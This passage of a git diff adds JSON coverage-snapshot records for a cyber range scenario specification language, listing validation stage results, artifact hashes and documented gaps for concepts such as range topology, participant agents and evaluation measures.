"diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "46b620178977b97fd8c0589e745a262de6f3da7c6385ec091a2d56080d321dc7", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "b3e0f4cbef68b8d4580ac4f874be671bb21e76d66fa511779401f768805f4a3e", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "cfd3ddd91c4b289dd061e07cc8d08c6bdb39c4bf8af558ac3bdd0f6ad5a6475f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after maintainability refactoring; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "e5f06d9e9eea750c3a404a24da64d4d56933eb6e", + "snapshot_id": "raes-standardized-specification-coverage-issue-1242-v23", + "snapshot_revision": "23.0.0", + "source_state": { + "base_revision": "e5f06d9e9eea750c3a404a24da64d4d56933eb6e", + "checkout_state": "modified", + "implementation_digest": "8718df040036ac6ce0fd2812295a1bf22e87cab5d70c76fe205c07a941db6a7e", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v24.json b/docs/research/specification-coverage/execution-snapshot-v24.json new file mode 100644 index 000000000..4408fd918 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v24.json @@ -0,0 +1,686 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-16T08:11:59.456468+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + 